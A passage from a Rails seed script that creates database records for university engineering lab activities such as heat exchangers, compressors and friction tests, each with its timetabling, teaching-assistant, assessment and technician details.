same_as_prev_year: false, series_setup_time: nil, setup_time: 15, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a182.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a182.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a182.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a182.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a182.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a183 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR222\").first.id, code: \"502\").first_or_create!(name: \"Heat Exchangers\",\n name_abrv: \"HEAT_EX\", archived: false, in_drive: true, user_id: 1)\n at183 = ActivityTimetable.where(activity_id: a183.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a183.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a183.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a183.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a183.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a183.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a184 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR227\").first.id, code: \"502\").first_or_create!(name: \"Heat Exchangers\",\n name_abrv: \"HEAT_EX\", archived: false, in_drive: false, user_id: 5)\n at184 = ActivityTimetable.where(activity_id: a184.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a184.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a184.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a184.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a184.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a184.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a185 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR305\").first.id, code: \"502\").first_or_create!(name: \"Heat Exchangers\",\n name_abrv: \"HEAT_EX\", archived: false, in_drive: false, user_id: 1)\n at185 = ActivityTimetable.where(activity_id: a185.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a185.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a185.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a185.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a185.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a185.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a186 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"503\").first_or_create!(name: \"2nd law\",\n name_abrv: \"2NDLAW\", archived: false, in_drive: true, user_id: 1)\n at186 = ActivityTimetable.where(activity_id: a186.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a186.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a186.id).first_or_create!(criteria: \"\",\n job_desc:\"Lab on the most important law in engineering the 2nd law - actually heat exchangers and compressors.\n Three sessions to run.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a186.id).first_or_create!(assess_weight: nil, notes: \"No information\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a186.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a186.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a187 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC6448\").first.id, code: \"504\").first_or_create!(name: \"Acoustics\",\n name_abrv: \"ACOUSTICS\", archived: true, in_drive: true, user_id: 2)\n at187 = ActivityTimetable.where(activity_id: a187.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 8, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a187.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a187.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a187.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a187.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a187.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a188 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CPE180\").first.id, code: \"505\").first_or_create!(name: \"Boiling and Condensing\",\n name_abrv: \"BOILING\", archived: false, in_drive: true, user_id: 2)\n at188 = ActivityTimetable.where(activity_id: a188.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 2, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a188.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/jbcxj2k\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a188.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"Lab demonstration, training provided, no marking. Demonstrate labs on both boiling and condesing. Both are complex but the lab is mainly about observing the process taking place.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a188.id).first_or_create!(assess_weight: nil, notes: \"Pre and Post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a188.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a188.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a190 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC326\").first.id, code: \"506\").first_or_create!(name: \"Cantilever Beam\",\n name_abrv: \"CANTBEAM\", archived: false, in_drive: true, user_id: 2)\n at190 = ActivityTimetable.where(activity_id: a190.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a190.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a190.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a190.id).first_or_create!(assess_weight: nil, notes: \"No assessment\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a190.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a190.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a191 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC327\").first.id, code: \"506\").first_or_create!(name: \"Cantilever Beam\",\n name_abrv: \"CANTILEVER\", archived: false, in_drive: true, user_id: 3)\n at191 = ActivityTimetable.where(activity_id: a191.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 30, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a191.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a191.id).first_or_create!(criteria: \"\",\n job_desc:\"GTA's selected by department - email from RW 29/01/2019\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a191.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a191.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a191.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a192 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC604\").first.id, code: \"506\").first_or_create!(name: \"Cantilever Beam\",\n name_abrv: \"CANTILEVER\", archived: false, in_drive: true, user_id: 5)\n at192 = ActivityTimetable.where(activity_id: a192.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a192.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a192.id).first_or_create!(criteria: \"GTAs should have an understanding of Bernoulli principle and boundary layer theory.\",\n job_desc:\"Students traverses a pitot tube across the working section of a wind tunnel and, with t digital pressure gauge, determine the boundary layer thickness.\n\n 2018-19: GTAs selected by dpt email from RW 29/01/2019\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a192.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a192.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a192.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a193 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"512\").first_or_create!(name: \"Friction\",\n name_abrv: \"FRICTION\", archived: false, in_drive: false, user_id: 4)\n at193 = ActivityTimetable.where(activity_id: a193.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a193.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a193.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics. Basic dynamics. Ability to read instructions. Ability to explain. Approachability.\",\n job_desc:\"Measuring the friction coefficient of band brakes using LabVIEW and motor apparatus - supervise and assist students.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a193.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a193.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a193.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a194 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"unknowncode5\").first_or_create!(name: \"Compressors 1st Law\",\n name_abrv: \"COMP1STLAW\", archived: false, in_drive: true, user_id: 1)\n at194 = ActivityTimetable.where(activity_id: a194.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a194.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a194.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"lab demonstration - compressors, training provided. No lab marking. Measure and evaluate the performance of a compressor using the first law of themrodynamics. Determine the polytropic constant. Measure the performance of compressor. Find how compressor performance changes with operating conditions. Revise thermodynamic theory.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a194.id).first_or_create!(assess_weight: nil, notes: \"All AER192 labs account for 10% of module mark\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a194.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a194.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a195 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR227\").first.id, code: \"508\").first_or_create!(name: \"Compressors 2nd Law\",\n name_abrv: \"COMP2NDLAW\", archived: false, in_drive: true, user_id: 4)\n at195 = ActivityTimetable.where(activity_id: a195.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a195.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a195.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a195.id).first_or_create!(assess_weight: nil, notes: \"No information\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a195.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a195.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a196 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE104\").first.id, code: \"508\").first_or_create!(name: \"Compressors 2nd Law\",\n name_abrv: \"COMP2NDLAW\", archived: false, in_drive: true, user_id: 2)\n at196 = ActivityTimetable.where(activity_id: a196.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 11, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a196.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a196.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"lab demonstration - compressors, training provided. No lab marking. Measure and evaluate the performance of a compressor using the first law of themrodynamics. Measure the performance of compressor. Find how compressor performance changes with operating conditions. Determine the isentropic efficiency. Revise thermodynamic theory.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a196.id).first_or_create!(assess_weight: 5.0, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a196.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a196.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a197 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"508\").first_or_create!(name: \"Compressors 2nd Law\",\n name_abrv: \"COMP2NDLAW\", archived: false, in_drive: true, user_id: 5)\n at197 = ActivityTimetable.where(activity_id: a197.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a197.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a197.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a197.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a197.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a197.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a198 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR333\").first.id, code: \"509\").first_or_create!(name: \"Coupon Test\",\n name_abrv: \"COUPTEST\", archived: true, in_drive: true, user_id: 4)\n at198 = ActivityTimetable.where(activity_id: a198.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a198.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a198.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a198.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a198.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a198.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a199 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC604\").first.id, code: \"509\").first_or_create!(name: \"Coupon Test\",\n name_abrv: \"COUPTEST\", archived: false, in_drive: false, user_id: 3)\n at199 = ActivityTimetable.where(activity_id: a199.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"See RW\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a199.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a199.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a199.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a199.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a199.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a200 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE204\").first.id, code: \"510\").first_or_create!(name: \"Cross Flow Heat Transfer\",\n name_abrv: \"CROSSFHT\", archived: false, in_drive: false, user_id: 4)\n at200 = ActivityTimetable.where(activity_id: a200.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at200.id, room_id: $room_fl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a200.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a200.id).first_or_create!(criteria: \"Expertise in heat transfer desirable.\",\n job_desc:\"Measuring convective heat transfer in an external flow using dimensionless numbers.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a200.id).first_or_create!(assess_weight: nil, notes: \"Not assessed 18/19\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a200.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a200.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a201 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC203\").first.id, code: \"510\").first_or_create!(name: \"Cross Flow Heat Transfer\",\n name_abrv: \"CROSSFHT\", archived: false, in_drive: false, user_id: 3)\n at201 = ActivityTimetable.where(activity_id: a201.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a201.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a201.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a201.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a201.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a201.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a202 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC604\").first.id, code: \"511\").first_or_create!(name: \"Diffusers\",\n name_abrv: \"DIFFUSERS\", archived: false, in_drive: false, user_id: 5)\n at202 = ActivityTimetable.where(activity_id: a202.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 2, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n RoomBooking.where(activity_timetable_id: at202.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a202.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/j42pak3\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a202.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a202.id).first_or_create!(assess_weight: nil, notes: \"Not assessed MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a202.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a202.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a203 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER104\").first.id, code: \"512\").first_or_create!(name: \"Friction\",\n name_abrv: \"FRICTION\", archived: true, in_drive: false, user_id: 5)\n at203 = ActivityTimetable.where(activity_id: a203.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a203.id).first_or_create!(user_id: 1, g_drive_link: 